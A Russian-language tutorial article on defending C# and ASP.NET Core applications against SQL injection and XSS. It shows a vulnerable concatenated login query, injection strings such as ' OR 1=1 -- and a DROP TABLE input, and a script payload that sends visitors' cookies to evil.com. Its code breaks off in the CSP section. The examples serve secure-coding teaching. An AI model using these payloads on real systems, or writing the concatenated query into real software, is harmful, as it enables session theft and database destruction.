C# в бою: как защитить код от SQL-инъекций и XSS-атак

Онлайн-тренажер Python для начинающих

Изучайте Python легко и без перегрузки теорией. Решайте практические задачи с автоматической проверкой, получайте подсказки на русском языке и пишите код прямо в браузере — без необходимости что-либо устанавливать.

Начать курс

Предисловие: почему безопасность — это не опция, а базовая гигиена

Представьте: вы пишете крутой веб-сервис на C#. Всё работает идеально — пользователи регистрируются, оставляют комментарии, ищут товары. А потом приходит «хакер Вася» (который на самом деле просто скопировал скрипт из интернета) — и сливает всю базу данных. Или, что ещё хуже, вставляет в вашу страницу скрипт, который крадёт куки всех посетителей.

Звучит как сценарий фильма ужасов? А ведь такое происходит каждый день. По статистике OWASP, инъекции (SQL, XSS, LDAP) входят в топ-3 самых опасных уязвимостей веб-приложений. И C#, при всей своей надёжности, не даёт вам immunity-щита по умолчанию.

В этой статье мы разберём две самые горячие атаки — SQL-инъекции и XSS (межсайтовый скриптинг). Вы получите не просто теорию, а боевые приёмы защиты на C# с реальными примерами кода. Поехали!

SQL-инъекции: когда пользователь становится хакером

Как это выглядит на практике

Допустим, у вас есть простой вход в систему. Пользователь вводит логин и пароль, а вы формируете запрос так:

string login = txtLogin.Text;
string password = txtPassword.Text;
string query = "SELECT * FROM Users WHERE Login = '" + login + "' AND Password = '" + password + "'";
SqlCommand cmd = new SqlCommand(query, connection);

Выглядит логично? Ошибка! Если злоумышленник введёт в поле логина: ' OR 1=1 --, то запрос превратится в:

SELECT * FROM Users WHERE Login = '' OR 1=1 --' AND Password = '...'

Всё, что после -- — это комментарий. Условие 1=1 всегда истинно. Запрос вернёт всех пользователей, и аутентификация пройдена. А если вместо комментария вставить DROP TABLE Users? Прощай, база данных.

Защита №1: параметризованные запросы (ваш главный щит)

Лучшая защита от SQL-инъекций — никогда не склеивать строки вручную. Используйте параметры. SQL-сервер сам экранирует опасные символы, а ваша БД получает данные как значения, а не как код.

string login = txtLogin.Text;
string password = txtPassword.Text;

string query = "SELECT * FROM Users WHERE Login = @Login AND Password = @Password";

using (SqlConnection conn = new SqlConnection(connectionString))
{
    SqlCommand cmd = new SqlCommand(query, conn);
    cmd.Parameters.AddWithValue("@Login", login);
    cmd.Parameters.AddWithValue("@Password", password);
    
    conn.Open();
    SqlDataReader reader = cmd.ExecuteReader();
    // обработка результата
}

Обратите внимание: @Login и @Password — это параметры. Даже если пользователь введёт '; DROP TABLE Users; --, СУБД воспримет это как обычную строку, а не как код. Безопасно и элегантно.

Защита №2: хранимые процедуры

Ещё один мощный инструмент — хранимые процедуры. Они не только защищают от инъекций, но и улучшают производительность (планы запросов кешируются).

-- SQL Server
CREATE PROCEDURE GetUserByLogin
    @Login NVARCHAR(50)
AS
BEGIN
    SELECT * FROM Users WHERE Login = @Login
END
// C# код
using (SqlConnection conn = new SqlConnection(connectionString))
{
    SqlCommand cmd = new SqlCommand("GetUserByLogin", conn);
    cmd.CommandType = CommandType.StoredProcedure;
    cmd.Parameters.AddWithValue("@Login", inputLogin);
    
    conn.Open();
    // ...
}

Защита №3: Entity Framework и ORM

Если вы используете Entity Framework (или любую другую ORM), вы уже частично защищены. EF генерирует параметризованные запросы автоматически. Но есть нюанс: сырые SQL-запросы через EF (метод FromSqlRaw) — это та же конкатенация. Будьте бдительны!

// ПЛОХО:
var users = context.Users.FromSqlRaw("SELECT * FROM Users WHERE Login = '" + input + "'").ToList();

// ХОРОШО:
var users = context.Users.FromSqlRaw("SELECT * FROM Users WHERE Login = @p0", input).ToList();

XSS-атаки: когда ваш сайт стреляет в посетителей

Что такое XSS и почему это больно

XSS (Cross-Site Scripting) — это когда злоумышленник внедряет в вашу страницу JavaScript-код. Пример: вы выводите комментарий пользователя на странице без фильтрации. Хакер пишет:

<script>document.location='http://evil.com/?cookie='+document.cookie</script>

Теперь каждый, кто откроет страницу с этим комментарием, отправит свои куки хакеру. А куки — это сессия, доступ к аккаунту и, возможно, к платёжным данным.

Защита №1: HTML-кодирование в ASP.NET Core

Современный ASP.NET Core уже содержит встроенные средства защиты. В Razor Pages и MVC по умолчанию все выводы кодируются. Но если вы используете @Html.Raw() — вы снимаете защиту. Используйте его только для доверенного контента.

// ПЛОХО: выводим "как есть"
@Html.Raw(userComment)

// ХОРОШО: автоматическое кодирование
@userComment

Если вам нужно вывести HTML (например, текст с форматированием от редактора), используйте библиотеку AngleSharp или HtmlSanitizer — они вырежут опасные теги и оставят только безопасные.

Защита №2: AntiXssEncoder (Microsoft Security Library)

Для более тонкой настройки используйте класс AntiXssEncoder из пакета Microsoft.Security.Application. Он умеет кодировать не только HTML, но и URL, XML, JavaScript.

using Microsoft.Security.Application;

string userInput = "<script>alert('XSS')</script>";
string safeOutput = Encoder.HtmlEncode(userInput);
// Результат: &lt;script&gt;alert('XSS')&lt;/script&gt;
// Браузер покажет как текст, скрипт не выполнится

Защита №3: Content Security Policy (CSP)

Это уже не C#, а HTTP-заголовок, но он критически важен. CSP говорит браузеру: «Выполняй скрипты только с моего домена». Даже если хакер протащит <script> на страницу, браузер его заблокирует.

// В Startup.cs (ASP.NET Core)
app.Use(async (context, next) =>                

Блоги

Рекомендаций по книгам